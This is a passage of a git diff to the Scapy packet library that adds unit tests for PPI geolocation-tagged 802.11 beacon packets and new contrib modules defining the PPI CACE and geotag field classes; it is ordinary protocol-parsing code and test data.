+                Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"),
+                Vector(VectorFlags=0x02, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201),
+                Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"),
+                Dot11Common(Antsignal=-80)])/\
+                Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:098")/\
+                Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.9")
+    return PPI(raw(pkt)) #Cause the fields to be built
+
+def Pkt_10_10():
+    """Transmitter Position/AOA example"""
+    pkt = PPI(PPIFieldHeaders=[
+                GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20),
+                Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"),
+                Vector(VectorFlags=0x03, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201),
+                Vector(VectorFlags=0x00, VectorChars=0x10, Off_Y=40, Err_Off=2.0, DescString="Transmitter Position", AppId=0x4030201),
+                Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"),
+                Dot11Common(Antsignal=-80)])/\
+                Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:0A")/\
+                Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.10")
+    return PPI(raw(pkt)) #Cause the fields to be built
+
+def TestPackets():
+    """Returns a list of test packets"""
+    return [
+    ("10.1", Pkt_10_1(), test_Pkt_10_1),
+    ("10.2", Pkt_10_2(), test_Pkt_10_2),
+    ("10.3", Pkt_10_3(), test_Pkt_10_3),
+    ("10.4", Pkt_10_4(), test_Pkt_10_4),
+    ("10.5", Pkt_10_5(), test_Pkt_10_5),
+    ("10.6", Pkt_10_6(), test_Pkt_10_6),
+    ("10.7", Pkt_10_7(), test_Pkt_10_7),
+    ("10.8", Pkt_10_8(), test_Pkt_10_8),
+    ("10.9", Pkt_10_9(), test_Pkt_10_9),
+    ("10.10", Pkt_10_10(), test_Pkt_10_10) ]
+
+= Pkt_10_1
+a = Pkt_10_1()
+assert raw(a) == b'\x00\x00\x1c\x00i\x00\x00\x002u\x10\x00\x02\x00\x10\x00\x06\x00\x00\x006\x89\x99\x83\x9c\xb52?\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.1'
+assert a.PPIFieldHeaders[0].present == 6
+assert a.PPIFieldHeaders[0].Latitude == 40.7877430
+assert a[Dot11Beacon].beacon_interval == 100
+assert a[Dot11Elt].info == b'Test-10.1'
+
+= Pkt_10_2
+a = Pkt_10_2()
+a.show()
+assert raw(a) == b'\x00\x00\xa9\x00i\x00\x00\x002u\x10\x00\x02\x00\x10\x00\x06\x00\x00\x006\x89\x99\x83\x9c\xb52?3u<\x00\x02\x00<\x00\x1f\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05\x00\x00\x00\x00\x00\x00\x00\x00Antenna-1 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\x08\x00*u\x158dBi-MagMountOmni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb0\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.2'
+assert isinstance(a.PPIFieldHeaders[0], GPS)
+assert a.PPIFieldHeaders[0].present == 6
+assert isinstance(a.PPIFieldHeaders[1], Vector)
+assert a.PPIFieldHeaders[2].present == 134217735
+assert isinstance(a.PPIFieldHeaders[2], Antenna)
+assert a.PPIFieldHeaders[2].HorizBw == 360.0
+assert isinstance(a.PPIFieldHeaders[3], Dot11Common)
+
+= Pkt_10_3
+a = Pkt_10_3()
+assert raw(a) == b"\x00\x00\xef\x00i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u8\x00\x02\x008\x00\x17\x00\x00\x10\x03\x00\x00\x00\x06\x00\x00\x00\x80\x96\x98\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x01\x00@\xdfLk3u0\x00\x02\x000\x00\x12\x00\x00\x10\x01\x00\x00\x00\x80J]\x05AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.3"
+
+= Pkt_10_4
+a = Pkt_10_4()
+assert raw(a) == b"\x00\x00\xc6\x01i\x00\x00\x002u\x18\x00\x02\x00\x18\x00\x17\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?  Jk3u\x18\x00\x02\x00\x18\x00\x17\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00\x80\x96\x98\x00\xa0RW\x014u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x01\x00\x08\x1eKk4u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x02\x00\x88\xe5Ik3u@\x00\x02\x00@\x00\xf3\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80J]\x05L\xefIkp\xe9Ik0\xcaIkAntenna1Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00RightAntenna\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x923u@\x00\x02\x00@\x00\xf3\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80\xdf\x17\x10\xb4\xb4Ikp\xe9Ik0\xcaIkAntenna2Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LeftAntenna\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xa1\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.4"
+
+= Pkt_10_5
+a = Pkt_10_5()
+a.show()
+assert isinstance(a, PPI)
+assert raw(a) == b"\x00\x00\xe3\x00i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u8\x00\x02\x008\x00\x17\x00\x00\x10\x03\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u0\x00\x02\x000\x00\x12\x00\x00\x10\x01\x00\x00\x00\x00\x0e'\x07AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u7\x00\x02\x007\x00'\x00\x00(\x02\x00\x01\x00\x0c\x00\x87\x93\x03\xa1\xf1ElectronicallySteerableExAntenna\x01\x02\x03\x04\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.5"
+
+= Pkt_10_6
+a = Pkt_10_6()
+assert raw(a) == b'\x00\x00\x15\x01i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u4\x00\x02\x004\x00\x13\x00\x00\x10\x02\x00\x00\x00\x06\x00\x00\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x03\x00\x00\x00\x00\x00\x00\x00\xa0\xe7\x11\x0cForwardVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\xc0hx\x04AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x02\x00\x0c\x00\x87\x93\x03MechanicallySteerableAnt\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb3\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.6'
+
+= Pkt_10_7
+a = Pkt_10_7()
+assert raw(a) == b"\x00\x00\x15\x01i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x00D\x9d?\x84\xfc\xce\x1173u4\x00\x02\x004\x00\x13\x00\x00\x10\x03\x00\x00\x00\x04\x00\x00\x00\x80\xf0\xfa\x02VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x02\x00\x00\x00\x80\x85\xb5\rDOT-Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80J]\x05AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb3\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.7"
+assert a.PPIFieldHeaders[5].Antnoise == -110
+assert isinstance(a[Dot11].payload, Dot11Beacon)
+
+= Pkt_10_8
+a = Pkt_10_8()
+a.show()
+assert raw(a) == b'\x00\x00\xc0\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xe2o=\x84\xd4\x89\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-1 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x13\x00\x02\x00\x13\x00#\x00\x00 \xd0\x07\xf7\xf2\x1bSk\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc4\x802u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x13\x00\x02\x00\x13\x00#\x00\x00 \xd0\x07\xf7\xf8\xffdk\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.8'
+assert isinstance(a.PPIFieldHeaders[7], Sensor)
+assert a.PPIFieldHeaders[7].ScaleFactor == -9
+assert a.PPIFieldHeaders[7].pfh_length == 19
+
+= Pkt_10_9
+a = Pkt_10_9()
+assert raw(a) == b'\x00\x00\r\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u<\x00\x02\x00<\x00\x13\x00\x010\x02\x00\x00\x00\x08\x00\x00\x00@\xb1F\x13\x80\x96\x98\x00AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.9'
+assert a.PPIFieldHeaders[2].DescString == b'AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= Pkt_10_10
+a = Pkt_10_10()
+assert raw(a) == b'\x00\x00M\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u<\x00\x02\x00<\x00\x13\x00\x010\x03\x00\x00\x00\x08\x00\x00\x00@\xb1F\x13\x80\x96\x98\x00AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x043u<\x00\x02\x00<\x00C\x00\x020\x00\x00\x00\x00\x10\x00\x00\x00\x80\xecOk  JkTransmitter Position\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\nTest-10.10'
+assert a.PPIFieldHeaders[0].GPSTime == 1288720719
+assert a.PPIFieldHeaders[4].ModelName == b'8dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+assert isinstance(a.PPIFieldHeaders[3], Vector)
+assert a.PPIFieldHeaders[3].pfh_type == 30003
+assert a.PPIFieldHeaders[3].Off_Y == 40.0
+assert a.PPIFieldHeaders[3].Err_Off == 2.0
+
+= All-in-one packet
+# Extracted from PPI_GEOLOCATION_SDK.zip\PPI_GEOLOCATION_SDK\pcaps\reference-pcaps\all-ppi-geo-fields.py
+a = hex_bytes(b'00008a02690000003275900002029000ff03007002000000368999839cb5323fa0584b6b406e4a6b4f51d04cffffffff40420f0080841e00005ed0b2416c6c4669656c64734750535061636b6574000000000000000000000000000004030201414243442e2e2e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003375900002029000ff000370ff0000000800000080969800002d3101e09da30110f9496b20204a6b0055496b80c3c90128604d6b46756c6c7946696c6c65644f7574566563746f720000000000000000000000000403020141424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034757f0002027f007f0000700100ff4014596b8056686bc098776b00db866b50954a6b4d616465557056656c6f63697479730000000000000000000000000000000000010203044142434400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003575bb000102bb003f00007c0200000009000e2707002d310160f59000b2a13030303030310000000000000000000000000000000000000000000000000000534132342d3132302d39000000000000000000000000000000000000000000004c656674416e74656e6e610000000000000000000000000000000000000000000102030441424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002001400000000000000000000000000850900000000a19280000000ffffffffffff0001020304050001020901040000000000000000000064000000000b546573742d53656e736f72')
+pkt = PPI(a)
+assert isinstance(pkt.PPIFieldHeaders[0], GPS)
+assert pkt.PPIFieldHeaders[0].present == 1879049215
+assert isinstance(pkt.PPIFieldHeaders[1], Vector)
+assert pkt.PPIFieldHeaders[1].present == 1879245055
+assert isinstance(pkt.PPIFieldHeaders[3], Antenna)
+assert repr(pkt.PPIFieldHeaders[3].present) == "<Flag 2080374847 (AntennaFlags+Gain+HorizBw+VertBw+PrecisionGain+BeamID+SerialNumber+ModelName+DescString+AppId+AppData)>"
+assert isinstance(pkt.PPIFieldHeaders[4], Dot11Common)
+assert isinstance(pkt[Dot11][Dot11Beacon].payload, Dot11Elt)
+assert pkt[Dot11Elt].info == b'Test-Sensor'
+assert pkt[Dot11Elt].ID == 0
+
+= All-wrong-data packet
+pkt = PPI(PPIFieldHeaders=[
+            GPS(GPSFlags="Manual Input", Latitude=-181, Longitude=181, GPSTime=1288720719, FractionalTime=-1, ept=100, eph=-1, epv=1000, Altitude=-999999, Altitude_g=999999),
+            Vector(VectorFlags="DefinesForward+RelativeToEarth", VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201),
+            Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"),
+            Dot11Common(Antsignal=-80)])/\
+            Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:0A")/\
+            Dot11Beacon()/Dot11Elt(ID=0,info="Test-allwrong")
+pkt = PPI(raw(pkt))
+pkt.show()
+assert pkt.PPIFieldHeaders[0].Latitude == -180.0
+assert pkt.PPIFieldHeaders[0].Longitude == 180.0
+assert pkt.PPIFieldHeaders[0].Altitude == -180000.0
+assert pkt.PPIFieldHeaders[0].Altitude_g == 180000.0
+assert pkt.PPIFieldHeaders[0].epv < 1000
+assert pkt.PPIFieldHeaders[0].ept < 5
+assert pkt.PPIFieldHeaders[0].FractionalTime == 0.0
diff --git a/scapy/contrib/ppi_cace.py b/scapy/contrib/ppi_cace.py
new file mode 100644
index 0000000..d0912c0
--- /dev/null
+++ b/scapy/contrib/ppi_cace.py
@@ -0,0 +1,98 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# author: <jellch@harris.com>
+
+# scapy.contrib.description = PPI CACE
+# scapy.contrib.status = loads
+
+"""
+CACE PPI types 
+"""
+import logging,struct
+from scapy.config import conf
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.l2 import Ether
+from scapy.layers.dot11 import Dot11
+from scapy.contrib.ppi import *
+
+PPI_DOT11COMMON  = 2
+PPI_DOT11NMAC    = 3
+PPI_DOT11NMACPHY = 4
+PPI_SPECTRUMMAP  = 5
+PPI_PROCESSINFO  = 6
+PPI_CAPTUREINFO  = 7
+PPI_AGGREGATION  = 8
+PPI_DOT3         = 9
+
+# PPI 802.11 Common Field Header Fields
+class dBmByteField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "b")
+    def i2repr(self, pkt, val):
+        if (val != None):
+            val = "%4d dBm" % val
+        return val
+
+class PPITSFTField(LELongField):
+    def i2h(self, pkt, val):
+        flags = 0
+        if (pkt):
+            flags = pkt.getfieldval("Pkt_Flags")
+        if not flags:
+            flags = 0
+        if (flags & 0x02):
+            scale = 1e-3
+        else:
+            scale = 1e-6
+        tout = scale * float(val)
+        return tout
+    def h2i(self, pkt, val):
+        scale = 1e6
+        if pkt:
+            flags = pkt.getfieldval("Pkt_Flags")
+            if flags:
+                if (flags & 0x02):
+                    scale = 1e3
+        tout = int((scale * val) + 0.5)
+        return tout
+
+_PPIDot11CommonChFlags = ['','','','','Turbo','CCK','OFDM','2GHz','5GHz',
+                          'PassiveOnly','Dynamic CCK-OFDM','GSFK']
+
+_PPIDot11CommonPktFlags = ['FCS','TSFT_ms','FCS_Invalid','PHY_Error']
+
+# PPI 802.11 Common Field Header
+class Dot11Common(Packet):
+    name = "PPI 802.11-Common"
+    fields_desc = [ LEShortField('pfh_type',PPI_DOT11COMMON),
+                    LEShortField('pfh_length', 20),
+                    PPITSFTField('TSF_Timer', 0),
+                    FlagsField('Pkt_Flags',0, -16, _PPIDot11CommonPktFlags),
+                    LEShortField('Rate',0),
+                    LEShortField('Ch_Freq',0),
+                    FlagsField('Ch_Flags', 0, -16, _PPIDot11CommonChFlags),
+                    ByteField('FHSS_Hop',0),
+                    ByteField('FHSS_Pat',0),
+                    dBmByteField('Antsignal',-128),
+                    dBmByteField('Antnoise',-128)]
+
+    def extract_padding(self, p):
+        return b"",p
+#Hopefully other CACE defined types will be added here.
+
+#Add the dot11common layer to the PPI array
+addPPIType(PPI_DOT11COMMON, Dot11Common)
+
diff --git a/scapy/contrib/ppi_geotag.py b/scapy/contrib/ppi_geotag.py
new file mode 100644
index 0000000..197601e
--- /dev/null
+++ b/scapy/contrib/ppi_geotag.py
@@ -0,0 +1,462 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# author: <jellch@harris.com>
+
+# scapy.contrib.description = PPI GEOLOCATION
+# scapy.contrib.status = loads
+
+
+"""
+PPI-GEOLOCATION tags
+"""
+from __future__ import absolute_import
+import struct, time
+from scapy.packet import *
+from scapy.fields import *
+from scapy.contrib.ppi import PPIGenericFldHdr,addPPIType
+from scapy.error import warning
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+CURR_GEOTAG_VER = 2 #Major revision of specification
+
+PPI_GPS     = 30002
+PPI_VECTOR  = 30003
+PPI_SENSOR  = 30004
+PPI_ANTENNA = 30005
+#The FixedX_Y Fields are used to store fixed point numbers in a variety of fields in the GEOLOCATION-TAGS specification
+class Fixed3_6Field(LEIntField):
+    def i2h(self, pkt, x):
+        if x is not None:
+            if (x < 0):
+                warning("Fixed3_6: Internal value too negative: %d", x)
+                x = 0
+            elif (x > 999999999):
+                warning("Fixed3_6: Internal value too positive: %d", x)
+                x = 999999999
+            x = x * 1e-6
+        return x
+    def h2i(self, pkt, x):
+        if x is not None:
+            if (x <= -0.5e-6):
+                warning("Fixed3_6: Input value too negative: %.7f", x)
+                x = 0
+            elif (x >= 999.9999995):
+                warning("Fixed3_6: Input value too positive: %.7f", x)
+                x = 999.999999
+            x = int(round(x * 1e6))
+        return x
+    def i2m(self, pkt, x):
+        """Convert internal value to machine value"""
+        if x is None:
+            #Try to return zero if undefined
+            x = self.h2i(pkt, 0)
+        return x
+
+    def i2repr(self,pkt,x):
+        if x is None:
+            y=0
+        else:
+            y=self.i2h(pkt,x)
+        return "%3.6f"%(y)
+class Fixed3_7Field(LEIntField):
+    def i2h(self, pkt, x):
+        if x is not None:
+            if (x < 0):
+                warning("Fixed3_7: Internal value too negative: %d",  x)
+                x = 0
+            elif (x > 3600000000):
+                warning("Fixed3_7: Internal value too positive: %d",  x)
+                x = 3600000000
+            x = (x - 1800000000) * 1e-7
+        return x
+    def h2i(self, pkt, x):
+        if x is not None:
+            if (x <= -180.00000005):
+                warning("Fixed3_7: Input value too negative: %.8f",  x)
+                x = -180.0
+            elif (x >= 180.00000005):
+                warning("Fixed3_7: Input value too positive: %.8f",  x)
+                x = 180.0
+            x = int(round((x + 180.0) * 1e7))
+        return x
+    def i2m(self, pkt, x):
+        """Convert internal value to machine value"""
+        if x is None:
+            #Try to return zero if undefined
+            x = self.h2i(pkt, 0)
+        return x
+    def i2repr(self,pkt,x):
+        if x is None:
+            y=0
+        else:
+            y=self.i2h(pkt,x)
+        return "%3.7f"%(y)
+
+class Fixed6_4Field(LEIntField):
+    def i2h(self, pkt, x):
+        if x is not None:
+            if (x < 0):
+                warning("Fixed6_4: Internal value too negative: %d",  x)
+                x = 0
+            elif (x > 3600000000):
+                warning("Fixed6_4: Internal value too positive: %d",  x)
+                x = 3600000000
+            x = (x - 1800000000) * 1e-4
+        return x
